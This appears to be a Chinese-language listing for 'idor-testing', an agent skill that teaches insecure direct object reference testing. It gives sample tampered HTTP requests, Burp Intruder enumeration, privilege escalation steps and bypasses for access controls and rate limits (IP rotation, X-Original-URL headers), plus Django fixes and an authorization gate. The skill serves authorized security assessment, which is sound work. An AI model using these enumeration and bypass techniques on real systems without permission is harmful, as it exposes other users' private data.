关于 idor-testing
idor-testing 是用于识别和评估 Web 应用不安全直接对象引用漏洞的安全测试技能。它介绍针对数据库对象和文件的授权测试方法,以及证据记录和修复建议。
主要功能
- 01检查对象和文件引用
- 02测试参数与请求篡改
- 03评估跨用户访问
- 04记录端点和影响
- 05提供修复建议
适用场景
- 01在授权评估中检查访问控制
- 02使用两个测试账户测试对象引用
- 03整理 IDOR 漏洞报告
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill idor-testing安装后在 Claude Code 中输入/idor-testing确认已加载。
详细介绍
⚠️ 仅限授权使用 本技能仅用于教育目的或经授权的安全评估。 在使用本工具前,你必须获得系统所有者的明确书面许可。 滥用本工具属于违法行为,并被严格禁止。
强制确认关口 在运行任何针对目标进行探测、利用、更改、驻留、提取数据或尝试凭据访问的命令之前:
- 要求用户说明确切的目标 URL、IP、账户或资源。
- 要求用户确认书面授权及允许的范围。
- 展示确切的命令并解释其预期效果。
- 在当前对话中等待明确确认。
如果没有该确认,请保持只读,并仅提供防御性指导。优先使用沙箱、一次性 VM 或受控实验环境。
仅限授权使用:仅将本技能用于经授权的安全评估、防御性验证或受控教育环境。
IDOR 漏洞测试
目的
提供系统化的方法,用于识别和利用 Web 应用中的不安全的直接对象引用(IDOR)漏洞。本技能涵盖数据库对象引用和静态文件引用、使用参数操纵和枚举的检测技术、通过 Burp Suite 进行利用,以及用于保护应用免遭未授权访问的修复策略。
输入 / 前置条件
- 目标 Web 应用:具有用户特定资源的应用 URL
- 多个用户账户:至少两个测试账户,用于验证跨用户访问
- Burp Suite 或代理工具:用于请求操纵的拦截代理
- 授权:安全测试的书面许可
- 对应用流程的理解:了解对象是如何被引用的(ID、文件名)
输出 / 交付物
- IDOR 漏洞报告:记录发现的访问控制绕过
- 概念验证:跨用户上下文中未授权数据访问的证据
- 受影响端点:存在漏洞的 API 端点和参数列表
- 影响评估:数据暴露严重程度的分类
- 修复建议:针对已识别漏洞的具体修复方案
核心工作流
1. 理解 IDOR 漏洞类型
直接引用数据库对象
当应用通过用户可控参数引用数据库记录时发生:
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
直接引用静态文件
当应用暴露可被枚举的文件路径或文件名时发生:
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
2. 侦察与设置
创建多个测试账户
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
识别对象引用
捕获并分析包含以下内容的请求:
- URL 中的数字 ID:
/api/user/123 - 参数中的数字 ID:
?id=123&action=view - 请求体中的数字 ID:
{"userId": 123} - 文件路径:
/download/receipt_123.pdf - GUID/UUID:
/profile/a1b2c3d4-e5f6-...
映射用户 ID
# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
3. 检测技术
URL 参数操纵
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
请求体操纵
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
HTTP 方法切换
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (verify protected data/action and policy)
PUT /api/admin/users/1000 → 200 OK (verify protected data/action and policy)
4. 使用 Burp Suite 进行利用
手动利用
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
使用 Intruder 自动枚举
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
针对多个位置的 Battering Ram 攻击
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
5. 常见 IDOR 位置
API 端点
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
文件下载
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
查询参数
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
[email protected]
快速参考
IDOR 测试清单
| 测试 | 方法 | 漏洞迹象 |
|---|---|---|
| 递增/递减 ID | 将 id=5 改为 id=4 | 返回其他用户的数据 |
| 使用受害者的 ID | 替换为已知受害者 ID | 获准访问受害者的资源 |
| 枚举范围 | 测试 ID 1-1000 | 找到其他用户的有效记录 |
| 负数值 | 测试 id=-1 或 id=0 | 出现意外数据或错误 |
| 大数值 | 测试 id=99999999 | 泄露系统信息 |
| 字符串 ID | 将格式改为 id=user_123 | 绕过逻辑检查 |
| GUID 操纵 | 修改 UUID 的部分内容 | UUID 模式可预测 |
响应分析
| 状态码 | 解释 |
|---|---|
| 200 OK | 可能存在 IDOR——核实数据所有权 |
| 403 Forbidden | 此请求被拒绝;不能证明整体授权覆盖情况 |
| 404 Not Found | 资源缺失或被刻意隐藏;通过已获授权的所有者会话核实 |
| 401 Unauthorized | 需要身份验证 |
| 500 Error | 可能存在输入验证问题 |
常见易受攻击的参数
| 参数类型 | 示例 |
|---|---|
| 用户标识符 | userId、uid、user_id、account |
| 资源标识符 | id、pid、docId、fileId |
| 订单/交易 | orderId、transactionId、invoiceId |
| 消息/通信 | messageId、threadId、chatId |
| 文件引用 | filename、file、document、path |
约束和限制
操作边界
- 至少需要两个有效用户账号才能进行验证
- 某些应用使用与会话绑定的令牌,而非 ID
- GUID/UUID 引用更难枚举,但并非不可能
- 速率限制可能会限制枚举尝试
- 某些 IDOR 需要结合其他漏洞才能利用
检测难点
- 水平权限提升(用户到用户)与垂直权限提升(用户到管理员)
- 盲 IDOR:响应无法确认是否成功访问
- 异步操作中的基于时间的 IDOR
- WebSocket 通信中的 IDOR
法律要求
- 仅测试已获得明确授权的应用
- 记录所有测试活动和发现
- 不要访问、修改或窃取真实用户数据
- 通过适当的漏洞披露渠道报告发现
示例
示例 1:基本 ID 参数 IDOR
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!
示例 2:地址更新端点中的 IDOR
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# Verify actual state in the second controlled account; 200 alone is not proof.
示例 3:静态文件 IDOR
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!
示例 4:Burp Intruder 枚举
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses require controlled-account state verification
# - Check victim's account for new addresses
示例 5:从水平权限提升到垂直权限提升
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved
故障排除
问题:所有请求均返回 403 Forbidden
原因:已实施服务器端访问控制 解决方案:
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
问题:应用使用 UUID,而非顺序 ID
原因:随机化标识符可降低枚举风险 解决方案:
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
问题:会话令牌与用户绑定
原因:应用会根据请求的资源验证会话 解决方案:
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
问题:速率限制阻止枚举
原因:应用实施了请求限流 解决方案:
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
问题:无法验证 IDOR 的影响
原因:响应没有明确表明数据所有权 解决方案:
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
修复指南
实施适当的访问控制
# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
# Application-specific allowlisted validation; never pass arbitrary request fields.
address.street = validated_street
address.city = validated_city
address.save(update_fields=["street", "city"])
使用间接引用
# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
服务器端验证
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
适用场景
此技能适用于执行概述中描述的工作流或操作。
使用属于两个已授权测试账户的已知对象;枚举范围仅用于实验室示例,不代表获准扫描任意记录。测试前设置请求预算和停止条件;未经授权,不要轮换 IP 或在受到限流后继续测试。GET 请求仍可能产生副作用。UUID 的随机性不能替代授权,而且通常无法通过暴力破解发现 UUID。响应长度、耗时和状态码只能作为线索,不能证明影响。Django 示例省略了身份验证、方法和 CSRF 处理以及输入验证;应定义经过验证的字段,并在使用对象前处理对象缺失的情况。仅使用合成金丝雀数据证明最低限度的访问权限,并还原已授权的测试更改。